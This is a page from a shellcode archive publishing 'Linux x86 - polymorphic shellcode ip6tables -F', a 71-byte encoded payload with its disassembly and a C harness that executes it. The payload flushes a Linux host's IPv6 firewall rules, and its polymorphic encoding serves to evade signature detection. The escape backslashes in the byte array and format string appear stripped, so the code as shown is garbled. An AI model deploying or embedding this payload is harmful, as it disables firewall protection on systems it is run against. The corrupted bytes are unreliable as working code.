[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes
# Published : 2010-01-24
# Author : Jonathan Salwan
# Previous Title : Win32 Shellcode (cmd.exe) for XP SP2 Turkish 26 Bytes
# Next Title : Linux x86 - ip6tables -F - 47 bytes


/*  Linux x86 - polymorphic shellcode ip6tables -F - 71 bytes
 *  Jonathan Salwan < submit [!] shell-storm.org >
 *  
 *	! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ ! 
 *
 *
 *  The Gnuser Project (Gnu Users Manager) => http://www.gnuser.org
 *
 * Disassembly of section .text:
 *
 * 08048054 <.text>:
 * 8048054:	6a 0b                	push   $0xb
 * 8048056:	58                   	pop    %eax
 * 8048057:	99                   	cltd   
 * 8048058:	52                   	push   %edx
 * 8048059:	66 68 2d 46          	pushw  $0x462d
 * 804805d:	89 e1                	mov    %esp,%ecx
 * 804805f:	52                   	push   %edx
 * 8048060:	6a 73                	push   $0x73
 * 8048062:	66 68 6c 65          	pushw  $0x656c
 * 8048066:	68 36 74 61 62       	push   $0x62617436
 * 804806b:	68 6e 2f 69 70       	push   $0x70692f6e
 * 8048070:	68 2f 73 62 69       	push   $0x6962732f
 * 8048075:	68 2f 75 73 72       	push   $0x7273752f
 * 804807a:	89 e3                	mov    %esp,%ebx
 * 804807c:	52                   	push   %edx
 * 804807d:	51                   	push   %ecx
 * 804807e:	53                   	push   %ebx
 * 804807f:	89 e1                	mov    %esp,%ecx
 * 8048081:	cd 80                	int    $0x80
*/

#include <stdio.h>

int main(int argc, char *argv[])
{
char shellcode[] = 	"xebx11x5ex31xc9xb1x47x80"
			"x6cx0exffx01x80xe9x01x75"
  			"xf6xebx05xe8xeaxffxffxff"
			"x6bx0cx59x9ax53x67x69x2e"
			"x47x8axe2x53x6bx74x67x69"
			"x6dx66x69x37x75x62x63x69"
			"x6fx30x6ax71x69x30x74x63"
			"x6ax69x30x76x74x73x8axe4"
			"x53x52x54x8axe2xcex81";

       	fprintf(stdout,"Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();       
}